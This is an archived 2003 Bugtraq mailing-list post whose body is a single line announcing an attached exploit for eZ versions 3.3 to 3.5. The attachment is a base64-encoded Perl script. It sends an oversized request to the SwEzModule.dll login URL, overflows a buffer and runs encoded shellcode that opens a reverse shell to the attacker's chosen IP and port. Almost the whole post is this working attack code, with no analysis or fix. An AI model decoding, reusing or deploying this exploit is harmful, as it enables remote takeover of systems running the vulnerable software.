[32883] in bugtraq
eZ remote exploit
daemon@ATHENA.MIT.EDU (=?iso-8859-1?Q?Iv=E1n_Rodriguez_Al)
Wed Dec 17 13:15:51 2003
Message-ID: <15241.212.53.113.37.1071680509.squirrel@www.coromputer.net>
Date: Wed, 17 Dec 2003 18:01:49 +0100 (CET)
From: =?iso-8859-1?Q?Iv=E1n_Rodriguez_Almui=F1a?= <kralor@coromputer.net>
To: bugtraq@securityfocus.com
Cc: full-disclosure@lists.netsys.com, vuln@secunia.com,
submissions@packetstormsecurity.org, bugs@securitytracker.com
Reply-To: kralor@coromputer.net
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="----=_20031217180149_25127"
------=_20031217180149_25127
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
hello, the eZ exploit is in attached.
Iván Rodriguez Almuiña
aka kralor
kralor@coromputer.net
http://www.coromputer.net
------=_20031217180149_25127
Content-Type: application/x-perl; name="eZXploit.pl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="eZXploit.pl"
IyEvdXNyL2Jpbi9wZXJsIC13DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjQyMjI08jIyNSIyMjTyMj
I00jIyNQIyMjVSMjI1QjIyNFIyMjUiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMJW0NycHRdICB1
bml2ZXJzYWwgZVogdjMuMyA8IHYzLjUgcmVtb3RlIGV4cGxvaXQgYnkga3JhbG9yICBbQ3JwdF0J
Iw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jDQojIHZlcnNpb25zIHRlc3RlZCAmIG5vdCB2dWxu
ZXJhYmxlczogdjMuMCB2My4xIHYzLjIJCQkJIw0KIyB2ZXJzaW9ucyB0ZXN0ZWQgJiB2dWxuZXJh
YmxlczogdjMuMyB2My40IHYzLjUJCQkJCSMNCiMgQ3J5cHRzby5kbGwgY29udGFpbnMgYSAnc3Rh
dGljJyBqbXAgZXNwIGluIGVabmV0d29yayBwYWNrIGZyb20gdjMuMyB0byB2My41CSMNCiMgSXQg
aXMgYSB0cml2aWFsIGV4cGxvaXQsIGp1bXBpbmcgdG8gZXNwLCB0aGVuIGF0IGVzcCB3ZSBqdW1w
IGJhY2t3YXJkIHRvICAgICAgIw0KIyBmaW5hbGx5IHJlYWNoIHRoZSBzaGVsbGNvZGUuIFRoZSBz
aGVsbGNvZGUgZ2l2ZXMgYSByZXZlcnNlIHJlbW90ZSBzaGVsbC4gICAgICAjDQojIFVuaXZlcnNh
bCBzaGVsbGNvZGUgY29kZWQgYnkga3JhbG9yIHdpdGggdGhlIFBFQiB0ZWNobmljLgkJCSMNCiMj
IyMjI1cjIyNXIyMjVyMjIy4jIyNDIyMjTyMjI1IjIyNPIyMjTSMjI1AjIyNVIyMjVCMjI0UjIyNS
IyMjLiMjI04jIyNFIyMjVCMjIyMjIw0KdXNlIElPOjpTb2NrZXQ7DQoNCglwcmludCAiXHJcblx0
ICAgW0NycHRdIGVaIHYzLjMgPCB2My41IHJlbW90ZSBleHBsb2l0IGJ5IGtyYWxvciBbQ3JwdF1c
clxuIjsNCglwcmludCAiXHRcdHd3dy5jb3JvbXB1dGVyLm5ldCAmJiB1bmRlcm5ldCAjY29yb21w
dXRlclxyXG5cclxuIjsNCg0KaWYoQEFSR1Y8M3x8QEFSR1Y+Mykgew0KCXByaW50ICJzeW50YXg6
ICIuJDAuIiA8dmljdGltPiA8eW91cl9pcD4gPHlvdXJfcG9ydD5cclxuIjsNCglleGl0Ow0KCX0N
Cg0KCXByaW50ICJbK10gQ29ubmVjdGluZyB0byAiLiRBUkdWWzBdLiJcdC4uLiI7DQoNCglteSAk
c29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQcm90bz0+J3RjcCcsDQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgUGVlckFkZHI9PiRBUkdWWzBdLA0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIFBlZXJQb3J0PT4iODAiKTsNCmlmKCEkc29jaykgew0KCXByaW50ICJFcnJv
clxyXG4iOw0KCWV4aXQ7DQoJfQ0KDQoJcHJpbnQgIkRvbmVcclxuIjsNCg0KIyAweGZmZTQJam1w
ICBlc3AgaW4gQ3J5cHRzby5kbGwgKHYzLjMgdjMuNCB2My41IEAgMHgxMDA0QzcyQikNCiMgMHhm
ZmZmZWRmZmU5CWptcCAgYmFjayAoICQgLSA0JzYwOCkNCg0KJGVpcAkJPSAiXHgyQlx4QzdceDA0
XHgxMCI7DQokam1wX2JhY2sJPSAiXHhFOVx4RkZceEVEXHhGRlx4RkYiOw0KIyB1bml2ZXJzYWwg
cmV2ZXJzZSByZW1vdGUgc2hlbGwgdXNpbmcgUEVCLCBjb2RlZCBieSBrcmFsb3IuDQokc2hlbGxj
MGRlSQk9ICJceGViXHgwMlx4ZWJceDBmXHg2Nlx4ODFceGVjXHgwNFx4MDhceDhiXHhlY1x4ODNc
eGVjXHg1MFx4ZThceGVmIi4NCgkJICAiXHhmZlx4ZmZceGZmXHg1Ylx4ODBceGMzXHgxMFx4MzNc
eGM5XHg2Nlx4YjlceDllXHgwMVx4ODBceDMzXHg5NSIuDQoJCSAgIlx4NDNceGUyXHhmYVx4N2Vc
eGU2XHhhNlx4NGVceDI2XHhhNVx4ZjFceDFlXHg5Nlx4MWVceGQ1XHg5OVx4MWUiLg0KCQkgICJc
eGRkXHg5OVx4MWVceDU0XHgxZVx4YzlceGIxXHg5ZFx4MWVceGU1XHhhNVx4OTZceGUxXHhiMVx4
OTFceGFkIi4NCgkJICAiXHg4Ylx4ZTBceGQ5XHgxZVx4ZDVceDhkXHgxZVx4Y2RceGE5XHg5Nlx4
NGRceDFlXHhjZVx4ZWRceDk2XHg0ZCIuDQoJCSAgIlx4MWVceGU2XHg4OVx4OTZceDY1XHhjM1x4
MWVceGU2XHhiMVx4OTZceDY1XHhjM1x4MWVceGM2XHhiNVx4OTYiLg0KCQkgICJceDQ1XHgxZVx4
Y2VceDhkXHhkZVx4MWVceGExXHgwZlx4OTZceDY1XHg5Nlx4ZTFceGIxXHg4MVx4MWVceGEzIi4N
CgkJICAiXHhhZVx4ZTFceGIxXHg4ZFx4ZTFceDlmXHhkZVx4YjZceDRlXHhlMFx4N2ZceGNkXHhj
ZFx4YTZceDU1XHg1NiIuDQoJCSAgIlx4Y2FceGE2XHg1Y1x4ZjNceDFlXHg5OVx4Y2FceGNhXHgx
ZVx4YTlceDFhXHgxOFx4OTFceDkyXHg1Nlx4MWUiLg0KCQkgICJceDhkXHgxZVx4NTZceGFlXHg1
NFx4ZTBceDA4XHg1Nlx4YTZceDRlXHhmZFx4ZWNceGQwXHhlZFx4ZDRceGZmIi4NCgkJICAiXHg5
Zlx4ZmZceGRlXHhjNlx4N2RceGU5XHg2YVx4NmFceDZhXHhhNlx4NWNceDUyXHhkMFx4NjlceGUy
XHhlNiIuDQoJCSAgIlx4YTdceGNhXHhmM1x4NTJceGQwXHg5NVx4YTZceGE3XHgxZFx4ZDhceDk3
XHgxZVx4NDhceGYzXHgxNlx4N2UiLg0KCQkgICJceDkxXHhjNFx4YzRceGM2XHg2YVx4NDVceGE2
XHg0ZVx4MWNceGQwXHg5MVx4ZmRceGU3XHhmMFx4ZTZceGU2Ii4NCgkJICAiXHhmZlx4OWZceGZm
XHhkZVx4YzZceDdkXHhkZVx4NmFceDZhXHg2YVx4MWVceGM4XHg5MVx4YTZceDZhXHg1MiIuDQoJ
CSAgIlx4ZDBceDY5XHhjMlx4YzZceGQ0XHhjNlx4NTJceGQwXHg5NVx4ZmFceGY2XHhmZVx4ZjBc
eDFjXHhlOFx4OTEiLg0KCQkgICJceGYzXHg1Mlx4ZDBceDkxXHhlMVx4ZDRceDFlXHg1OFx4ZjNc
eDE2XHg3Y1x4OTFceGM0XHhjNlx4NmFceDQ1Ii4NCgkJICAiXHhhNlx4NGVceGM2XHhjNlx4YzZc
eGM2XHhkNlx4YzZceGQ2XHhjNlx4NmFceDQ1XHgxY1x4ZDBceDMxXHhmZCIuDQoJCSAgIlx4ZmJc
eGYwXHhmNlx4ZTFceGZmXHg5Nlx4ZmZceGM2XHhmZlx4OTdceDdkXHg5M1x4NmFceDZhXHg2YVx4
YTYiLg0KCQkgICJceDRlXHgyNlx4OTdceDFlXHg0MFx4ZjNceDFjXHg4Zlx4OTZceDQ2XHhmM1x4
NTJceDk3IjsNCiRzaGVsbGMwZGVJSQk9ICJceGZmXHg4NVx4YzBceDZhXHhlMFx4MzFceDZhXHg0
NVx4YTYiLg0KCQkgICJceDRlXHhmZFx4ZjBceGU2XHhlNlx4ZDRceGZmXHg5Zlx4ZmZceGRlXHhj
Nlx4N2RceDQwXHg2Ylx4NmFceDZhIi4NCgkJICAiXHhhNlx4NGVceDUyXHhkMFx4MzlceGQxXHg5
NVx4OTVceDk1XHgxY1x4YzhceDI1XHgxY1x4YzhceDJkXHgxYyIuDQoJCSAgIlx4YzhceDIxXHgx
Y1x4YzhceDI5XHgxY1x4YzhceDU1XHgxY1x4YzhceDUxXHgxY1x4YzhceDVkXHg1Mlx4ZDAiLg0K
CQkgICJceDRkXHg5NFx4OTRceDk1XHg5NVx4MWNceGM4XHg0OVx4MWNceGM4XHg3NVx4MWVceGM4
XHgzMVx4MWNceGM4Ii4NCgkJICAiXHg3MVx4MWNceGM4XHg3ZFx4MWNceGM4XHg3OVx4YTZceDRl
XHgxOFx4ZDhceDY1XHhjNFx4MThceGQ4XHgzOSIuDQoJCSAgIlx4YzRceGM2XHhjNlx4YzZceGZm
XHg5NFx4YzZceGM2XHhmM1x4NTJceGQwXHg2OVx4ZjZceGY4XHhmM1x4NTIiLg0KCQkgICJceGQw
XHg2Ylx4ZjFceDk1XHgxZFx4YzhceDZhXHgxOFx4YzBceDY5XHhjN1x4YzZceDZhXHg0NVx4YTZc
eDRlIi4NCgkJICAiXHhmZFx4ZWRceGZjXHhlMVx4YzVceGZmXHg5NFx4ZmZceGRlXHhjNlx4N2Rc
eGYzXHg2Ylx4NmFceDZhXHg2YSIuDQoJCSAgIlx4NDVceDk1IjsNCm15ICR0aXAJCT0gaW5ldF9h
dG9uKCRBUkdWWzFdKTsNCm15ICRwYWRkcgk9IHNvY2thZGRyX2luKCRBUkdWWzJdLCAkdGlwKTsN
Cg0KJHBhZGRyPXN1YnN0cigkcGFkZHIsMiw2KTsNCiRwYWRkcj0kcGFkZHJeIlx4OTVceDk1XHg5
NVx4OTVceDk1XHg5NSI7DQpteSAkcnBvcnQ9c3Vic3RyKCRwYWRkciwwLDIpOw0KbXkgJHJpcD1z
dWJzdHIoJHBhZGRyLDIsNCk7DQoNCiRyZXF1ZXN0CT0gIkdFVCAvU3dFek1vZHVsZS5kbGw/b3Bl
cmF0aW9uPWxvZ2luJmF1dG9sb2dpbj0iLg0KCQkgICJceDkwIngxMDAgLiRzaGVsbGMwZGVJLiRy
cG9ydC4iXHg5Nlx4NDZceDUyXHg5NyIuJHJpcC4kc2hlbGxjMGRlSUkuDQoJCSAgIlx4OTAieDQx
MDMgLiRlaXAuIlx4OTAieDQgLiRqbXBfYmFjay4iIEhUVFAvMS4wXHJcblxyXG4iOw0KDQoJcHJp
bnQgJHNvY2sgJHJlcXVlc3Q7DQoJcHJpbnQgIlsrXSBTZW5kaW5nIGV2aWwgcmVxdWVzdFx0Li4u
IjsNCgljbG9zZSgkc29jayk7DQoJcHJpbnQgIkRvbmVcclxuIjsNCmV4aXQ7
------=_20031217180149_25127--
